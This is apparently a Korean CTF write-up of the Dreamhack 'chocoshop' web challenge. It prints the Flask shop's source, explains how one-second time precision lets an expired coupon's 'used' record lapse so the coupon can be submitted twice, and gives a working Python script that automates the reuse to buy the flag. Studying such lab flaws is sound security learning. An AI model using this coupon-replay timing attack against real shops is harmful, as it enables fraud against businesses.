SECURITY/WEB_HACKING

[WEB] Chocoshop-dreamhack

ialleejy 2024. 8. 6. 12:58

이번에 chocoshop 문제를 풀어보자

 


 

 

 

접속을 해보니 Acquire Session 버튼이 보인다. 클릭해보자!

 

 

오른쪽 상단에 session_id, money가 보이고 가운데 shop, mypage가 보인다.

 

 

shop을 들어가보니 Perero 초콜릿과 Flag가 보인다. money가 2000이 되면 Flag값을 얻을 수 있을 것이다.

 

 

mypage도 들어가보니 coupon claim이 있고 Coupon submit이 있다.

 

Claim을하고 Submit을 하면 1000원이 올라간다. 하지만 1000원으로는 아무것도 할 수 없다. 

 

 

쿠폰을 다시 쓰려고하면 Coupon expired!라고 뜬다. 문제 설명을 보면 쿠폰을 재사용하는 게 관건인 문제인 것 같다.

 

 


 

 

 

자 이제 코드를 확인해보자

from flask import Flask, request, jsonify, current_app, send_from_directory
import jwt
import redis
from datetime import timedelta
from time import time
from werkzeug.exceptions import default_exceptions, BadRequest, Unauthorized
from functools import wraps
from json import dumps, loads
from uuid import uuid4

r = redis.Redis()
app = Flask(__name__)

# SECRET CONSTANTS
# JWT_SECRET = 'JWT_KEY'
# FLAG = 'DH{FLAG_EXAMPLE}'
from secret import JWT_SECRET, FLAG

# PUBLIC CONSTANTS
COUPON_EXPIRATION_DELTA = 45
RATE_LIMIT_DELTA = 10
FLAG_PRICE = 2000
PEPERO_PRICE = 1500


def handle_errors(error):
    return jsonify({'status': 'error', 'message': str(error)}), error.code


for de in default_exceptions:
    app.register_error_handler(code_or_exception=de, f=handle_errors)


def get_session():
    def decorator(function):
        @wraps(function)
        def wrapper(*args, **kwargs):
            uuid = request.headers.get('Authorization', None)
            if uuid is None:
                raise BadRequest("Missing Authorization")

            data = r.get(f'SESSION:{uuid}')
            if data is None:
                raise Unauthorized("Unauthorized")

            kwargs['user'] = loads(data)
            return function(*args, **kwargs)
        return wrapper
    return decorator


@app.route('/flag/claim')
@get_session()
def flag_claim(user):
    if user['money'] < FLAG_PRICE:
        raise BadRequest('Not enough money')

    user['money'] -= FLAG_PRICE
    return jsonify({'status': 'success', 'message': FLAG})


@app.route('/pepero/claim')
@get_session()
def pepero_claim(user):
    if user['money'] < PEPERO_PRICE:
        raise BadRequest('Not enough money')

    user['money'] -= PEPERO_PRICE
    return jsonify({'status': 'success', 'message': 'lotteria~~~~!~!~!'})


@app.route('/coupon/submit')
@get_session()
def coupon_submit(user):
    coupon = request.headers.get('coupon', None)
    if coupon is None:
        raise BadRequest('Missing Coupon')

    try:
        coupon = jwt.decode(coupon, JWT_SECRET, algorithms='HS256')
    except:
        raise BadRequest('Invalid coupon')

    if coupon['expiration'] < int(time()):
        raise BadRequest('Coupon expired!')

    rate_limit_key = f'RATELIMIT:{user["uuid"]}'
    if r.setnx(rate_limit_key, 1):
        r.expire(rate_limit_key, timedelta(seconds=RATE_LIMIT_DELTA))
    else:
        raise BadRequest(f"Rate limit reached!, You can submit the coupon once every {RATE_LIMIT_DELTA} seconds.")


    used_coupon = f'COUPON:{coupon["uuid"]}'
    if r.setnx(used_coupon, 1):
        # success, we don't need to keep it after expiration time
        if user['uuid'] != coupon['user']:
            raise Unauthorized('You cannot submit others\' coupon!')

        r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time())))
        user['money'] += coupon['amount']
        r.setex(f'SESSION:{user["uuid"]}', timedelta(minutes=10), dumps(user))
        return jsonify({'status': 'success'})
    else:
        # double claim, fail
        raise BadRequest('Your coupon is alredy submitted!')


@app.route('/coupon/claim')
@get_session()
def coupon_claim(user):
    if user['coupon_claimed']:
        raise BadRequest('You already claimed the coupon!')

    coupon_uuid = uuid4().hex
    data = {'uuid': coupon_uuid, 'user': user['uuid'], 'amount': 1000, 'expiration': int(time()) + COUPON_EXPIRATION_DELTA}
    uuid = user['uuid']
    user['coupon_claimed'] = True
    coupon = jwt.encode(data, JWT_SECRET, algorithm='HS256').decode('utf-8')
    r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(user))
    return jsonify({'coupon': coupon})


@app.route('/session')
def make_session():
    uuid = uuid4().hex
    r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(
        {'uuid': uuid, 'coupon_claimed': False, 'money': 0}))
    return jsonify({'session': uuid})


@app.route('/me')
@get_session()
def me(user):
    return jsonify(user)


@app.route('/')
def index():
    return current_app.send_static_file('index.html')

@app.route('/images/<path:path>')
def images(path):
    return send_from_directory('images', path)

 

여기서 중요해보이는 /coupon/claim 엔드포인트부터 확인을 해보자

 

@app.route('/coupon/claim')
@get_session()
def coupon_claim(user):
    if user['coupon_claimed']:
        raise BadRequest('You already claimed the coupon!')

    coupon_uuid = uuid4().hex
    data = {'uuid': coupon_uuid, 'user': user['uuid'], 'amount': 1000, 'expiration': int(time()) + COUPON_EXPIRATION_DELTA}
    uuid = user['uuid']
    user['coupon_claimed'] = True
    coupon = jwt.encode(data, JWT_SECRET, algorithm='HS256').decode('utf-8')
    r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(user))
    return jsonify({'coupon': coupon})

쿠폰을 한 번 발행하면 다시 발행할 수 없다. 그리고 JWT로 인코딩해서 coupon을 만든다. 

근데 'expiration': int(time())+ COUPON_EXPIRATION_DELTA에서 COUPON_EXPIRATION_DELTA이 45초이다.

 

 

 


이제 /coupon/submit 엔드포인트를 확인해보자

    rate_limit_key = f'RATELIMIT:{user["uuid"]}'
    if r.setnx(rate_limit_key, 1):
        r.expire(rate_limit_key, timedelta(seconds=RATE_LIMIT_DELTA))
    else:
        raise BadRequest(f"Rate limit reached!, You can submit the coupon once every {RATE_LIMIT_DELTA} seconds.")

요코드에서 RATE_LEMIT_DELTA는 10초가 지나야 쿠폰을 다시 입력할 수 있다.

 

expiration의 if 구문을 확인해보면

if coupon['expiration'] < int(time()):
        raise BadRequest('Coupon expired!')

45초 이후부터 coupon expired를 띄운다.

   used_coupon = f'COUPON:{coupon["uuid"]}'
    if r.setnx(used_coupon, 1):
        # success, we don't need to keep it after expiration time
        if user['uuid'] != coupon['user']:
            raise Unauthorized('You cannot submit others\' coupon!')

        r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time())))
        user['money'] += coupon['amount']
        r.setex(f'SESSION:{user["uuid"]}', timedelta(minutes=10), dumps(user))
        return jsonify({'status': 'success'})
    else:
        # double claim, fail
        raise BadRequest('Your coupon is alredy submitted!')

또 used_coupon은 45초 이후 만료된다. 즉  45초 전에는 used_coupon 존재하기에 BadRequest가 띄어진다.

 

이부분이 취약하다는 것을 알 수 있었다.

코드들은 순차적으로 코드 진행이 된다.

 

따라서 첫 if 구문이 진행될 때 int(time())는 정밀도가 1초이기에 정확히 45초에 /coupon/submit에 전송하면  

if coupon['expiration'] < int(time()):
        raise BadRequest('Coupon expired!')

이 if 구문을 통과하게 되고

그 과정동안 약간의 시간이 지나면서 45초보다 커지게 되고

used_coupon이 만료가 되므로 다시 한 번 coupon을 사용할 수 있게 된다.

 

해당 exploit 코드를 짜보면

#MJSEC JongYun
import requests
import json
import time

url = "http://host3.dreamhack.games:8843/"
session_id = "3c94db681cc64602b30334f6f4ddd06a"

def claim_coupon(session):
    headers = {"Authorization": session}
    res = requests.get(url + "coupon/claim", headers=headers)
    if res.status_code == 200:
        coupon = json.loads(res.text)["coupon"]
        print("Coupon claimed successfully")
        print("Coupon:", coupon)
        return coupon
    else:
        raise Exception("Failed to claim coupon")

def submit_coupon(session, coupon):
    headers = {"Authorization": session, "coupon": coupon}
    res = requests.get(url + "coupon/submit", headers=headers)
    print("1st response:", res.text)
    if res.status_code != 200:
        raise Exception("Failed to submit first coupon")

    print("Waiting 45 seconds...")
    start_time = time.time() 

    while time.time() - start_time < 44.8:
        elapsed_time = time.time() - start_time
        print(f"Elapsed time: {int(elapsed_time)} seconds", end='\r')  
        time.sleep(1) 

    print("complete!")

    res = requests.get(url + "coupon/submit", headers=headers)
    print("2nd response:", res.text)
    if res.status_code != 200:
        raise Exception("Failed to submit 2nd coupon")

def claim_flag(session):
    headers = {"Authorization": session}
    res = requests.get(url + "/flag/claim", headers=headers)
    flag = json.loads(res.text)["message"]
    print("Flag:", flag)

if __name__ == "__main__":
    try:
        session = session_id
        coupon = claim_coupon(session)
        submit_coupon(session, coupon)
        claim_flag(session)
    except Exception as e:
        print(e)

 

이 코드를 실행하게 되면 flag값을 얻을 수 있다.

 

'SECURITY > WEB_HACKING' 카테고리의 다른 글

[WEB] read_flag - Dreamhack  (0) 2024.08.11
[WEB] Simple Login-dreamhack  (0) 2024.08.09
[WEB] phpMyRedis -dreamhack  (0) 2024.08.07
[WEB] NoSQL-CouchDB -dreamhack  (0) 2024.08.07
[WEB]Switching Command-dreamhack-writeup  (0) 2024.08.06